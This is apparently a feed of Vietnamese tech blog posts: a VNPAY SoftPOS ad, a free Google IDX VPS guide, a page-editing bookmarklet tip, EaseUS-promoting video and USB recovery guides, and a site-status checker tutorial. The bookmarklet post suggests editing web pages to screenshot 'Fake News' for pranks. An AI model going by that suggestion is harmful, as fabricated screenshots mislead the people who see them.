kinh doanh Soft POS là gì? Soft POS (Software Point of Sale) là công nghệ biến một chiếc điện thoại có NFC thành máy POS di động, giúp chủ cửa hàng chấp nhận thanh toán thẻ mà không cần thiết bị POS vật lý. Thay vì mua hoặc thuê máy POS truyền thống với chi phí cao, hộ kinh doanh chỉ cần cài đặt ứng dụng có tính năng SoftPOS, đăng ký tài khoản và có thể nhận thanh toán ngay lập tức. Điều này đặc biệt phù hợp với các mô hình kinh doanh nhỏ lẻ, cửa hàng bán lẻ, dịch vụ vận tải, quán cà phê hoặc kinh doanh lưu động với những lợi ích như: Không cần đầu tư thiết bị POS đắt đỏ – Tiết kiệm chi phí cho hộ kinh doanh nhỏ. Nhận thanh toán mọi lúc, mọi nơi – Chỉ cần điện thoại có NFC là có thể giao dịch. Hỗ trợ nhiều hình thức thanh toán – Chấp nhận thẻ Visa, Mastercard, Google Pay, Apple Pay… An toàn và bảo mật – Đáp ứng tiêu chuẩn bảo mật PCI DSS, bảo vệ thông tin khách hàng. Dễ dàng theo dõi doanh thu – Quản lý giao dịch ngay trên ứng dụng. Nhìn chung, SoftPOS giúp hộ kinh doanh tiếp cận phương thức thanh toán contactless dễ dàng, nhanh chóng và tiết kiệm chi phí. Một trong những giải pháp ứng dụng công nghệ SoftPOS uy tín tại Việt Nam hiện nay chính là VNPAY SoftPOS. 3. VNPAY SoftPOS – Giải pháp Soft POS tối ưu cho hộ kinh doanh VNPAY SoftPOS là giải pháp thanh toán không tiếp xúc do VNPAY phát triển, giúp chủ cửa hàng sử dụng điện thoại Android có NFC để chấp nhận thanh toán thẻ. Đây là lựa chọn tối ưu cho những hộ kinh doanh muốn triển khai thanh toán hiện đại mà không cần đầu tư vào máy POS truyền thống. VNPAY SoftPOS là giải pháp thanh toán không tiếp xúc tiên tiến, được thiết kế dành riêng cho các hộ kinh doanh và điểm bán vừa - nhỏ, sở hữu những ưu điểm vượt trội: Tối ưu chi phí, dễ dàng đăng ký: Với giải pháp thanh toán ‘1 chạm’ đạt chuẩn quốc tế, các hộ kinh doanh, cửa hàng nhỏ có thể sử dụng giải pháp công nghệ mới, tích hợp đa tiện ích để quản lý các hoạt động kinh doanh, tiết kiệm chi phí mua, thuê, bảo trì thiết bị POS. Hộ kinh doanh có thể đăng ký dễ dàng, ngay trên VNPAY Merchant. Công nghệ hàng đầu: Công nghệ thanh toán không tiếp xúc (Contactless) với sóng NFC đã biến các điện thoại Android từ 10.0 trở lên thành thiết bị chấp nhận thẻ contactless theo tiêu chuẩn bảo mật cao. Nhờ đó, các điểm bán lẻ có thể chấp nhận thanh toán thẻ - VISA/Mastercard/JCB/Napas hoặc dịch vụ thanh toán trên thiết bị thông minh như Apple Pay, Samsung Pay, Google Pay. Bảo mật đạt chuẩn quốc tế: VNPAY SoftPOS là giải pháp thanh toán contactless đầu tiên tại Việt Nam được Hội đồng Tiêu chuẩn Bảo mật ngành Thẻ thanh toán (PCI SSC) công nhận, cùng các tiêu chuẩn kép như EMV Co, PCI DSS 4.0 cấp độ 1, OWASP, đảm bảo an toàn thông tin cho đơn vị chấp nhận thanh toán và người dùng. Phí giao dịch cạnh tranh: Với mức phí chỉ từ 0.6%, VNPAY SoftPOS giúp hộ kinh doanh tối ưu hóa lợi nhuận trong khi vẫn đảm bảo đáp ứng nhu cầu thanh toán đa dạng của khách hàng. Với công nghệ tiên tiến, tính bảo mật vượt trội, và mức phí giao dịch cạnh tranh, VNPAY SoftPOS là lựa chọn lý tưởng cho những doanh nghiệp muốn đón đầu xu hướng thanh toán không tiếp xúc và gia tăng trải nghiệm khách hàng. Việc triển khai thanh toán contactless đang trở thành xu hướng tất yếu trong kinh doanh hiện đại. Hiểu rõ thanh toán contactless là gì giúp hộ kinh doanh dễ dàng tiếp cận phương thức thanh toán nhanh chóng, tiện lợi và an toàn hơn. Thay vì đầu tư máy POS truyền thống, SoftPOS mang đến giải pháp linh hoạt, tiết kiệm và hiệu quả. Với VNPAY SoftPOS, chủ cửa hàng có thể chấp nhận thanh toán không tiếp xúc dễ dàng chỉ bằng một chiếc điện thoại, nâng cao trải nghiệm khách hàng và tối ưu hoạt động kinh doanh. Với các hộ kinh doanh, cửa hàng bán lẻ, đây là giải pháp tiết kiệm thời gian, chi phí, đồng thời tạo thêm nhiều điểm chạm với khách hàng. Liên hệ tư vấn và đăng ký sử dụng giải pháp thanh toán VNPAY-POS: Hotline: *3388 Email: [email protected] Website: https://vnpaypos.vn/ Fanpage: VNPAY - POS
0 notes
Link
Bạn có biết Google hiện đang cung cấp một dịch vụ cho phép người dùng tạo VPS 64GB RAM 16 Core và tốc độ mạng cao ổn định? Tất cả hoàn toàn miễn phí và chỉ cần vài bước đơn giản để khởi tạo. Trong bài viết này, chúng tôi sẽ hướng dẫn chi tiết cách tạo VPS miễn phí thông qua nền tảng Google IDX, một công cụ dành cho lập trình viên, kỹ sư phần mềm, hoặc bất kỳ ai muốn thử nghiệm môi trường Cloud hiệu suất cao. Chạy được cả Android Studio thì bạn biết nó khủng cở nào. Google IDX là gì? Google IDX (Integrated Development eXperience) là nền tảng lập trình Cloud do Google phát triển. Với IDX, bạn có thể viết code, chạy Project, làm việc nhóm và kiểm thử phần mềm trực tiếp trên trình duyệt. Nền tảng này được tích hợp sẵn các công cụ lập trình phổ biến, giao diện hiện đại tương tự VS Code, và đặc biệt là cung cấp cho người dùng VPS với cấu hình mạnh hoàn toàn miễn phí Cấu hình VPS gồm 64GB RAM, 16 Core CPU, SSD tốc độ cao và đường truyền mạng ổn định. Tạo VPS 64GB RAM 16 Core miễn phí trên Google IDX Đầu tiên, bạn hãy mở trình duyệt và truy cập vào địa chỉ https://idx.google.com. Nếu đây là lần đầu truy cập, bạn sẽ cần đăng nhập bằng tài khoản Google và đồng ý với điều khoản sử dụng bằng cách nhấn vào nút "Accept and Continue". Sau khi đăng nhập thành công, bạn sẽ được chuyển đến giao diện chính của Google IDX. Tại đây, hãy nhấn nút "New Workspace" để tạo một không gian làm việc mới. Tại chỗ kính lúp, bạn gõ chữ android studio cloud và chọn vào kết quả đó Sau đó đặt tên cho VPS của bạn để quản lý, sau đó nhấn Create. Ngay sau khi xác nhận, hệ thống sẽ bắt đầu khởi tạo VPS 64GB RAM 16 Core miễn phí trên Google IDX. Quá trình này chỉ mất vài phút và sau đó bạn đã có thể sử dụng môi trường làm việc đầy đủ tính năng. Bạn có thể truy cập Terminal để chạy lệnh, clone dự án từ GitHub, cài đặt thư viện, và bắt đầu lập trình như trên một máy chủ thật sự. Tại màn hình đầu tiên, bạn nên cấp quyền Clipboard để dễ copy dán từ trình duyệt vào VPS Tại giao diện Desktop, nhấn Don't Send để tắt và nhấn dấu x để Tắt cửa sổ Android Studio đi Nếu muốn dùng trình duyệt Chrome hoặc các ứng dụng trên VPS, bạn nhấn vào biểu tượng thanh ngang ở góc trên bên trái, sau đó nhấn vào biểu tượng bàn phím ở bên dưới, lúc này các App trên VPS sẽ hiện ra: Bây giờ bạn có thể đọc báo lượt web, tải file hay lập trình trên VPS của Google miễn phí rồi nhé Điểm đặc biệt của Google IDX là nó hoạt động giống như một phiên bản VS Code Online. Tất cả thao tác đều được thực hiện trên trình duyệt, rất tiện lợi và không cần cấu hình phức tạp. Nếu bạn cần chạy ứng dụng hoặc xem kết quả, IDX cũng hỗ trợ tính năng Preview ngay trong tab trình duyệt, giúp kiểm tra giao diện hoặc API nhanh chóng. Lưu ý: bạn không được sử dụng sai mục đích như phát tán mã độc, đào coin, hoặc tạo ra truy cập bất thường nếu không Google sẽ xóa VPS của bạn.
0 notes
Link
Thông thường bạn muốn hỏi một vấn đề gì đó trên Web, bạn sẽ chụp ảnh màn hình lại, sau đó dùng công cụ chỉnh sửa ảnh vẽ mũi tên và ghi chú. Sau đó gửi cho người khác để chờ giải đáp. Sẽ phức tạp hơn nếu bạn không có công cụ chỉnh sửa ảnh và ghi chú. Với cách dưới đây, chỉ với 1 đoạn code bạn sẽ dễ dàng thay đổi nội dung bất kỳ Website nào theo ý mình và chụp hình lại. Đây cũng là một mẹo để làm Fake News chọc ghẹo bạn bè. Cách thay đổi nội dung Website bất kỳ nào với 1 dòng Code Thay vì nhấn F12 click chuột vào từng nội dung, sau đó tìm kiếm phần tử để thay đổi. Thì đoạn Code này sẽ giúp bạn đơn giản hóa đi rất nhiều. javascript:document.body.contentEditable = 'true'; document.designMode='on'; void 0 Đoạn Script này cho phép bạn chỉnh sửa nội dung chữ trên bất kỳ Website nào. Cách sử dụng Code chỉnh sửa nội dung Website Bước 1: Vào Website muốn chỉnh lại nội dung. Bước 2: Nhấn F12, chọn qua tab Console. Dán đoạn Code ở phía trên vào và nhấn Enter. Bước 3: Quay trở lại giao diện chính của Website. Bạn click chuột vào vị trí muốn thay đổi nội dung của Website đó. Bạn có thể bôi đen, xóa, thêm chữ tùy thích như cách thay đổi nội dung trên một trình soạn thảo văn bản bình thường. Mẹo thực hiện nhanh trên tất cả Website. Để thực hiện dòng Code nhanh hơn, bạn có thể lưu vào Bookmark của trình duyệt. Bước 1: Click Ctrl + Shift + B để hiển thị thanh Bookmarks Bar Bước 2: Click phải chuột vào thanh Bookmarks Bar chọn Add Page Màn hình sẽ hiển thị nội dung bạn cần tạo Bookmark: Name: đặt tên tùy thích. Ví dụ: Edit Website URL: dán đoạn code ở trên vào và nhấn Save Bây giờ trên thanh Bookmark của bạn sẽ có 1 Bookmark tên Edit Website. Bạn chỉ cần vào Website muốn chỉnh sửa nội dung và click vào Edit Website vừa tạo. Rồi thực hiện thay đổi nội dung là được. Không phải nhấn F12 cho từng Webstie nửa. Đây chỉ là một mẹo vui để bạn biết thêm 1 đoạn code của JavaScript. Sau khi chỉnh sửa xong, nếu bạn tắt trình duyệt hoặc nhấn F5 để reload trang thì nội dung sẽ quay về như cũ.
0 notes
Link
MP4 là một trong những định dạng tệp video phổ biến nhất vì nó hoạt động với nhiều thiết bị và ứng dụng khác nhau. Từ những kỷ niệm cá nhân đến các nỗ lực thương mại, các tệp MP4 thường bao gồm tài liệu vô giá. Thật không may, các tệp này đôi khi có thể bị hỏng, khiến chúng không sử dụng được và gây khó chịu cho người dùng. Trong bài viết này, chúng tôi sẽ xem xét nguyên nhân gây hỏng tệp MP4 và cung cấp cho bạn các tùy chọn khôi phục khả thi. Cho dù bạn muốn sửa chữa nhanh bằng VLC Media Player hay chức năng nâng cao của EaseUS Video Repair, bài viết này sẽ giúp bạn. Ngoài ra, chúng tôi sẽ cung cấp các mẹo phòng ngừa để giúp bạn bảo vệ tệp của mình trong tương lai. Nguyên nhân phổ biến gây ra lỗi tệp video MP4 Hiểu được nguyên nhân gây ra lỗi MP4 có thể giúp khắc phục sự cố và tránh sự cố trong tương lai. Sau đây là những nguyên nhân điển hình nhất: Gián đoạn trong quá trình truyền tệp: Những gián đoạn bất ngờ, chẳng hạn như tháo thiết bị lưu trữ hoặc mất quyền truy cập internet, có thể khiến tệp MP4 không đầy đủ hoặc bị hỏng. Mất điện: Việc ghi hoặc tải dữ liệu lên trong thời gian mất điện có thể dẫn đến việc ghi không đầy đủ, làm hỏng tệp video. Tấn công bằng vi-rút hoặc phần mềm độc hại: Phần mềm độc hại có thể lây nhiễm và làm hỏng các tệp MP4, khiến chúng không sử dụng được. Trình phát phương tiện hoặc codec không được hỗ trợ: Cố gắng phát tệp MP4 bằng trình phát cũ hoặc không được hỗ trợ có thể dẫn đến sự cố phát lại hoặc hỏng tiêu đề tệp. Tiêu đề tệp bị hỏng: Tiêu đề tệp chứa thông tin cần thiết để phát video. Nếu tiêu đề bị hỏng, tệp sẽ không thể đọc được. Phương pháp sửa chữa các tập tin video MP4 bị hỏng Tệp video MP4 bị hỏng phải được sửa chữa để truy cập nội dung quan trọng. Có thể thực hiện việc này bằng cách sử dụng các chức năng trình phát phương tiện tích hợp, phần mềm chuyên dụng và các công cụ dòng lệnh thủ công. Sử dụng Công cụ sửa chữa video EaseUS (Giải pháp được đề xuất) Chọn công cụ sửa chữa tốt nhất cho các tệp video bị hỏng để đảm bảo phục hồi trơn tru. Tốc độ nâng cao, độ tin cậy và các tính năng tiện lợi cho người dùng là những đặc điểm nổi bật của Công cụ sửa chữa video EaseUS . Chương trình này cung cấp giải pháp hoàn chỉnh cho các video bị hỏng do quá trình truyền tệp bị gián đoạn, sự cố thiết bị lưu trữ hoặc mất điện. EaseUS Video Repair Tool là công cụ sửa chữa video chủ yếu. Thuật toán do AI điều khiển của công cụ này cung cấp các bản sửa lỗi video hiệu quả mà không ảnh hưởng đến chất lượng. EaseUS có thể sửa các tệp MP4, MOV, AVI và các tệp khác bị hỏng cho các nhà quay phim chuyên nghiệp và người giữ bộ nhớ. Phương pháp này dễ dàng cho cả người mới bắt đầu và chuyên gia nhờ giao diện của nó. Các tính năng chính: Hỗ trợ định dạng rộng: Sửa chữa video ở nhiều định dạng khác nhau như MP4, MOV, M2TS, MKV, v.v. Khắc phục các sự cố hỏng hóc phức tạp: Giải quyết thiệt hại do quá trình truyền dữ liệu không đầy đủ, mất điện đột ngột hoặc thiết bị bị lỗi. Giữ nguyên chất lượng ban đầu: Đảm bảo video được sửa chữa vẫn sắc nét và sống động như bản gốc. Sửa chữa an toàn: Hoạt động với cam kết bảo mật dữ liệu, đảm bảo nội dung của bạn an toàn trong suốt quá trình. Khả năng tương thích của thiết bị: Sửa chữa các tập tin từ máy ảnh (Canon, Nikon, GoPro, v.v.), điện thoại thông minh và các thiết bị khác. Tìm hiểu cách sử dụng Công cụ sửa chữa video EaseUS để sửa chữa video MP4: Bước 1. Truy cập EaseUS Online Video Repair. Kéo và thả tệp video bị hỏng hoặc không phát được hoặc nhấp vào "Tải video lên" để chọn thủ công. Bước 2. Nhập địa chỉ email hợp lệ và nhấp vào "Start Repairing" để bắt đầu. Điều này đảm bảo việc chuyển giao tệp đã sửa một cách an toàn. Bước 3. Công cụ tự động phân tích và sửa chữa video. Bạn có thể giữ trang mở hoặc làm việc ở nơi khác trong khi sửa chữa. Bước 4. Sau khi sửa chữa, bạn sẽ nhận được mã trích xuất qua email. Xem trước và tải xuống video đã sửa bằng cách nhập mã trên trang sửa chữa. Nhấp vào "Tải xuống" và xác nhận để khôi phục video. Lợi ích khi sử dụng EaseUS Video Repair: Tỷ lệ thành công cao: Các thuật toán chuyên biệt làm tăng khả năng sửa chữa thành công. Chất lượng được duy trì: Việc sửa chữa được thực hiện mà không làm giảm hoặc thậm chí không làm giảm chất lượng video. Hỗ trợ toàn diện: Có khả năng xử lý nhiều tình huống hỏng hóc và định dạng video khác nhau. Sử dụng VLC Media Player để sửa chữa cơ bản Nhiều trình phát phương tiện có chức năng sửa chữa thô sơ cho các tệp video bị hỏng. Một ví dụ nổi tiếng là VLC Media Player, một tiện ích mã nguồn mở miễn phí được biết đến với tính linh hoạt và giao diện thân thiện với người dùng. Thực hiện theo các bước để sửa chữa tệp MP4 bằng VLC Media Player: Bước 1. Mở ứng dụng “VLC player” trên PC của bạn. Nếu bạn chưa làm như vậy, hãy tải xuống trang web chính thức. Bước 2. Vào menu "Media" và chọn "Convert/Save". Để nhập tệp MP4 bị hỏng, hãy vào tab "File" và nhấp vào "Add". Nhấp vào nút "Convert/Save" ở cuối. Bước 3. Trong hộp "Convert" , chọn định dạng đầu ra phù hợp (ví dụ: MP4). Nhấp vào "Browse" để chọn vị trí và tên của tệp đã chuyển đổi. Nhấp vào "Start" để bắt đầu quá trình chuyển đổi. Bước 4. Sau khi hoàn tất chuyển đổi, hãy đổi phần mở rộng tệp từ ".mp4" thành ".avi". Mở VLC và vào "Tools"> "Preferences"> "Input/Codecs". Bước 5. Trong tab "Files" , hãy đổi "Damaged or imperfect AVI file" thành "Always Fix". Lưu cài đặt rồi phát tệp đã đổi tên; VLC sẽ tự động khôi phục tệp đó. Ưu điểm của việc sử dụng VLC Media Player: VLC có thể truy cập công khai và hoạt động trên nhiều hệ điều hành khác nhau. Thiết kế trực quan giúp việc điều hướng trở nên đơn giản. Nhược điểm khi sử dụng VLC Media Player: VLC có khả năng sửa chữa hạn chế và có thể không sửa được các tệp bị hỏng nặng. Tệp đã chỉnh sửa có thể có chất lượng thấp hơn. Phương pháp sửa chữa thủ công Các thủ tục sửa chữa thủ công sử dụng các ứng dụng dòng lệnh như FFmpeg cung cấp một tùy chọn cho những cá nhân có kiến thức kỹ thuật. FFmpeg là một tiện ích mã nguồn mở miễn phí để xử lý dữ liệu đa phương tiện. Để sửa chữa các tệp MP4 bằng FFmpeg, hãy làm theo các hướng dẫn dưới đây: Bước 1. Để cài đặt FFmpeg, hãy truy cập trang web chính thức và tải xuống. Bước 2. Trên Windows, nhấn Win + R, nhập "cmd", và enter. Nếu bạn có macOS/Linux, hãy mở chương trình Terminal. Bước 3. Để thử sửa chữa, hãy sử dụng lệnh sau: ffmpeg -i Party.mp4 Birthday.avi. Lệnh này chuyển đổi phim MP4 'Party' thành AVI có tên là 'Birthday'. Bước 4. FFmpeg sẽ xử lý tệp và cung cấp nhật ký đầu ra cho biết thao tác thành công hay thất bại. Kiểm tra tệp đã sửa để giải quyết. Lợi ích của việc sử dụng FFmpeg: Công cụ này không tốn bất kỳ chi phí nào để sử dụng. Sức mạnh và tính linh hoạt trong xử lý đa phương tiện. Nhược điểm khi sử dụng FFmpeg: Phải thoải mái với giao diện và lệnh dòng lệnh. Hướng dẫn không chính xác có thể dẫn đến nhiều sự cố về tệp hơn. Rủi ro khi sửa chữa thủ công: Xử lý không đúng cách có thể dẫn đến mất dữ liệu video không thể khôi phục. Việc thực hiện đòi hỏi một lượng kỹ năng kỹ thuật nhất định. Khi nào nên sử dụng các công cụ chuyên nghiệp như EaseUS: Hỏng hóc nghiêm trọng xảy ra khi tệp video bị xuống cấp đáng kể. Người dùng thiếu kinh nghiệm sử dụng công cụ dòng lệnh có thể thiếu chuyên môn kỹ thuật. Do hạn chế về thời gian nên cần có giải pháp nhanh chóng và hiệu quả mà không cần phải mất nhiều thời gian để học. Ngăn chặn lỗi tệp MP4 trong tương lai Mặc dù EaseUS Video Repair có thể sửa video bị hỏng, nhưng phòng ngừa luôn là tốt nhất. Các biện pháp thực hành tốt nhất có thể làm giảm đáng kể tình trạng hỏng tệp MP4, bảo vệ các video có giá trị của bạn. Dưới đây là một số mẹo phòng ngừa hỏng tệp MP4 Sử dụng bộ lưu trữ đáng tin cậy Để ngăn ngừa hỏng hóc liên quan đến phần cứng, hãy mua thẻ SD, ổ đĩa ngoài và USB có thương hiệu. Tránh tắt nguồn đột ngột. Trước khi tắt điện thoại thông minh, hãy hoàn tất việc ghi hoặc chuyển tệp. Sự cố hỏng hóc thường xảy ra do mất điện đột ngột trong quá trình thực hiện các thao tác này. Sao lưu video thường xuyên. Khuyến nghị sao lưu nhiều tệp MP4 trên bộ nhớ đám mây và đĩa ngoài. Cách tiếp cận này giúp giảm thiểu tình trạng mất hoặc hỏng dữ liệu bất ngờ. Luôn cập nhật phần mềm diệt vi-rút. Tệp video có thể bị phần mềm độc hại làm hỏng. Hãy thường xuyên cập nhật phần mềm diệt vi-rút để tránh những nguy hiểm này. Cập nhật trình phát phương tiện và codec Cập nhật trình phát phương tiện và codec của bạn. Phần mềm lỗi thời có thể xử lý sai các định dạng tệp hiện đại, làm tăng nguy cơ hỏng hóc. Phần kết luận Các tệp MP4 bị hỏng không nhất thiết phải phá hỏng ký ức hoặc dự án. EaseUS Video Repair với VLC Media Player có thể khôi phục các tệp bị hỏng một cách nhanh chóng. Các bước chủ động như lưu trữ đáng tin cậy và sao lưu thường xuyên sẽ giảm thiểu các mối nguy hiểm trong tương lai. Các phương pháp này giúp video của bạn an toàn và có thể truy cập được, cho dù bạn là người chuyên nghiệp hay người nghiệp dư. Các công cụ và thói quen tốt tạo nên sự khác biệt. Khám phá EaseUS Video Repair để khôi phục MP4 và các video khác một cách hoàn chỉnh và dễ dàng. Bảo mật các bộ phim của bạn ngay bây giờ để có nhiều năm an tâm. Câu hỏi thường gặp Làm thế nào để sửa chữa tệp MP4? VLC Media Player hoặc phần mềm sửa chữa chuyên nghiệp có thể sửa các tệp MP4. Khả năng sửa chữa tích hợp của VLC sẽ sửa các sự cố hỏng hóc đơn giản, trong khi EaseUS Video Repair xử lý các sự cố nghiêm trọng hơn. Tải tệp bị hỏng lên, sửa nó, sau đó lưu phim. Làm thế nào để sửa tệp MP4 bị hỏng? Sửa lỗi hỏng tệp MP4 đơn giản bằng các công cụ miễn phí như VLC Media Player. Các chương trình nâng cao như EaseUS Video Repair xử lý nhiều định dạng và thiết bị khác nhau và vượt trội hơn đối với lỗi hỏng nghiêm trọng. Các chương trình này khôi phục video mà không làm giảm chất lượng. Công cụ sửa video MP4 là gì? Phần mềm sửa video MP4 sửa các tệp MP4 bị hỏng hoặc không phát được. Giải quyết tình trạng gián đoạn truyền tệp, mất điện và lỗi phần cứng. EaseUS Video Repair có giao diện đơn giản và các tính năng tinh vi để khôi phục video.
0 notes
Link
Sáng nay, vừa mở máy tính lên, mình háo hức lướt Facebook để xem có gì mới mẻ không, thì ôi thôi, trang web cứ load mãi mà chẳng vào được. Thoạt đầu mình nghĩ chắc mạng nhà mình có vấn đề, nhưng đổi sang điện thoại, dùng 4G mà vẫn không xong. Lúc này, trong đầu bắt đầu xuất hiện câu hỏi: "Liệu có phải Facebook bị sập không? Hay chỉ mình mình gặp vấn đề này?" May thay, mình nhớ ra một trang web siêu hữu ích để kiểm tra tình trạng này: downforeveryoneorjustme.com.. Hôm nay, mình sẽ chia sẻ cách sử dụng trang này để bạn cũng có thể tự kiểm tra nếu gặp tình huống tương tự nhé! downforeveryoneorjustme.com Là Gì? Trước tiên, đây là một trang web cực kỳ đơn giản và tiện lợi, giúp bạn kiểm tra xem một website nào đó (như Facebook) có đang gặp sự cố toàn cầu hay không, hay chỉ là vấn đề cá nhân từ phía bạn. Địa chỉ trang là: https://downforeveryoneorjustme.com. Nghe tên thôi đã thấy thú vị rồi, đúng không? "Xuống cho mọi người hay chỉ mình tôi?" – câu hỏi mà ai cũng từng thắc mắc khi gặp trục trặc với các trang web yêu thích. Cách Sử Dụng Đơn Giản Trong 3 Bước Sáng nay, khi Facebook không vào được, mình đã làm theo các bước sau: Truy cập trang web Mở trình duyệt và gõ https://downforeveryoneorjustme.com/facebook (vì mình muốn kiểm tra Facebook). Hoặc nếu bạn kiểm tra trang khác, chỉ cần vào trang chủ rồi nhập tên miền (ví dụ: facebook.com) vào ô tìm kiếm ngay giữa trang. Nhấn Enter và Chờ Kết Quả Sau khi gõ xong, nhấn Enter, trang sẽ mất vài giây để kiểm tra. Kết quả sẽ hiện ra ngay lập tức. Nếu sáng nay Facebook thật sự bị sập toàn cầu, mình sẽ thấy dòng chữ: "It's not just you! facebook.com looks down from here. (Không chỉ mình bạn đâu! facebook.com đang sập từ đây). Còn nếu không có vấn đề gì, nó sẽ báo: "It's just you. facebook.com is up." (Chỉ mình bạn thôi. facebook.com vẫn hoạt động bình thường). Tại mục Recent User Reports for Facebook là kết quả phán ánh từ người dùng trên toàn cầu về dịch vụ Facebook, bạn sẽ thấy một số quốc gia như Candana, Mỹ không vào được Facebook. Xác Nhận Lại (Nếu Cần) Để chắc chắn hơn, mình thường thử refresh lại trang hoặc đợi vài phút rồi kiểm tra lần nữa. Đôi khi vấn đề chỉ là tạm thời, hoặc có thể do mạng của mình thật sự có lỗi. Sáng nay, nhờ trang này, mình biết được rằng không chỉ mình gặp vấn đề mà Facebook quả thực đang có trục trặc ở một số khu vực. Điều này giúp mình đỡ hoang mang, không phải ngồi reset modem hay đổ lỗi cho máy tính nữa. Hơn nữa, nó còn giúp bạn tiết kiệm thời gian – thay vì ngồi chờ mà không biết chuyện gì xảy ra, bạn có thể yên tâm chờ đến khi mọi thứ ổn định trở lại. Nếu bạn thấy Facebook bị sập toàn cầu, hãy thử kiểm tra thêm các trang tin tức công nghệ hoặc mạng xã hội khác (như Twitter) để xem mọi người có đang bàn tán về vụ này không. Sáng nay, mình thấy khá nhiều người cũng than thở giống mình, nên càng chắc chắn hơn về kết quả từ Down For Everyone Or Just Me. Kết Luận Vậy là từ giờ, mỗi khi gặp tình trạng như sáng nay - Facebook hay bất kỳ trang web nào không vào được – bạn đã có một công cụ đơn giản để kiểm tra ngay lập tức. Chỉ cần vài cú click là biết được vấn đề nằm ở đâu, có phải chờ đợi hay cần tìm cách khắc phục từ phía mình. Hãy thử dùng https://downforeveryoneorjustme.com xem sao nhé, đảm bảo bạn sẽ thấy nó tiện lợi không ngờ!
0 notes
Link
Không cần phải lo lắng nếu bạn mất dữ liệu quan trọng từ ổ đĩa flash USB do vô tình xóa, định dạng, đĩa RAW, v.v. Nếu bạn sử dụng ổ đĩa flash USB hàng ngày, việc mất dữ liệu gần như là không thể tránh khỏi. Những tệp đã xóa này không thể khôi phục được từ thùng rác. Ổ đĩa flash di động giúp sao lưu và truyền dữ liệu dễ dàng hơn nhiều. Tuy nhiên, một số yếu tố có thể góp phần gây mất dữ liệu trong các thiết bị flash. Làm thế nào để tôi có thể khôi phục dữ liệu đã xóa hoặc bị mất từ ổ đĩa flash? Bài viết này sẽ xem xét bốn cách khôi phục các tệp đã xóa trên ổ đĩa flash USB bằng các công cụ như EaseUS Data Recovery Wizard, cmd và công cụ khôi phục tệp Windows. Mỗi giải pháp xử lý một loại mất dữ liệu riêng biệt, chẳng hạn như xóa tệp vô ý hoặc sự cố truy cập dữ liệu trên ổ đĩa flash. Nguyên nhân gây mất dữ liệu USB Có nhiều lý do khiến dữ liệu từ thiết bị USB có thể bị mất mà không báo trước, bao gồm cả việc ngắt kết nối chúng khi đang sử dụng: Xóa tập tin vô tình Nguyên nhân mất dữ liệu phổ biến nhất là vô tình nhấn nút "xóa" trên máy tính khi chọn tệp hoặc thư mục trên ổ đĩa flash. Nhiễm phần mềm độc hại Một sự thật quan trọng mà hầu hết chúng ta đều biết là phần mềm độc hại có thể gây hại cho bất kỳ tiện ích nào. Tất nhiên, ổ đĩa flash cũng được tính. Nếu vi-rút làm hỏng tệp của bạn, bạn có thể mất dữ liệu. Định dạng ổ đĩa USB Khi bạn lắp ổ đĩa flash vào, bạn có thể được nhắc định dạng ổ đĩa và bạn có thể vô tình chọn tùy chọn "Định dạng", dẫn đến mất nội dung trên ổ đĩa flash. Hư hỏng vật lý hoặc lỗi phần cứng Quá nhiệt có thể gây mất dữ liệu do làm hỏng các thành phần vật lý. Dữ liệu của bạn có thể bị mất ngay cả khi phần mềm bị lỗi hoặc ổ đĩa flash bị sốc. Phương pháp 1. Cách khôi phục các tệp đã xóa vĩnh viễn bằng EaseUS EaseUS Data Recovery Wizard giúp khôi phục dữ liệu bị mất từ các thư mục sâu nhất trên máy tính của chúng ta. Các thuật toán quét tiên tiến của nó có thể nhận dạng và khôi phục các định dạng video, âm thanh, hình ảnh và tài liệu. Đôi khi, chúng ta vô tình làm trống Thùng rác và kết thúc bằng việc mất các tệp quan trọng. Thuật toán khôi phục tệp hoàn hảo của EaseUS có thể khôi phục hiệu quả các tệp Thùng rác bị hỏng hoặc trống như ảnh, phim, tài liệu, v.v. Các chương trình khôi phục dữ liệu PC hiện đại có thể khôi phục mọi loại mất dữ liệu. Các tính năng chính của EaseUS Data Recovery Wizard: Công cụ này phục hồi dữ liệu từ nhiều thiết bị, bao gồm ổ đĩa flash USB, thẻ SD và ổ cứng ngoài. EaseUS khôi phục tệp hiệu quả bằng thuật toán quét sâu cho mọi tình huống mất dữ liệu. Người dùng có thể xem dữ liệu có thể phục hồi trước khi khôi phục chúng, giúp tiết kiệm thời gian và dung lượng, đồng thời chỉ khôi phục các tệp được yêu cầu. Bộ lọc nâng cao trong EaseUS cho phép người dùng dễ dàng tìm thấy một số loại tệp theo định dạng, ngày tháng hoặc các yếu tố khác. Việc sửa chữa video, hình ảnh và tài liệu bị hỏng bằng EaseUS đảm bảo chúng được khôi phục và sử dụng được. Làm theo hướng dẫn từng bước để khôi phục các tệp đã xóa bằng EaseUS Data Recovery Wizard: Bước 1. Cài đặt và chạy EaseUS Data Recovery Wizard từ trang web chính thức. Bước 2. Chọn ổ USB của bạn làm nơi đích từ màn hình chính của EaseUS sau khi cắm vào. Chọn "Quét dữ liệu đã mất" để tìm kiếm các tệp có thể phục hồi. Bước 3. Quá trình quét ổ USB bắt đầu bằng EaseUS Data Recovery Wizard. Ban đầu, nó sẽ tìm kiếm nhanh, sau đó tìm kiếm sâu hơn nếu cần để xác định tất cả dữ liệu có thể phục hồi. Bạn có thể tạm dừng hoặc dừng quá trình quét nếu các tệp mong muốn của bạn hiển thị sớm. Bước 4. Sau khi quét, hãy tìm các tệp bị thiếu trong kết quả. Chương trình cho phép bạn sắp xếp các tệp theo loại, ngày hoặc tên và xem trước chúng để đảm bảo chúng đúng. Bước 5. Chọn các tập tin và nhấp vào "Phục hồi". Để tránh ghi đè, hãy lưu trữ dữ liệu đã phục hồi ở một vị trí máy tính an toàn, không phải thiết bị USB. [caption id="attachment_81881" align="aligncenter" width="1000"] phục hồi tập tin[/caption] EaseUS Data Recovery Wizard đơn giản hóa việc khôi phục dữ liệu USB cho mọi người. Các tính năng mạnh mẽ và thiết kế thân thiện với người dùng giúp việc khôi phục tệp dễ dàng, mang lại cho bạn sự an tâm trong trường hợp mất dữ liệu. Phương pháp 2. Sử dụng tính năng Khôi phục phiên bản trước "Khôi phục phiên bản trước" là một tính năng hữu ích của Windows cho phép bạn khôi phục dữ liệu bị mất từ ổ đĩa flash mà không cần sử dụng phần mềm (nếu chức năng này được bật tại thời điểm xóa). Bước 1. Kết nối ổ đĩa flash USB vào máy tính và đảm bảo nó có thể được phát hiện. Bước 2. Mở This PC và định vị ổ đĩa flash USB của bạn. Nhấp chuột phải và chọn "Properties". Bước 3. Chọn tùy chọn "Phiên bản trước" . Bước 4. Chọn phiên bản mà 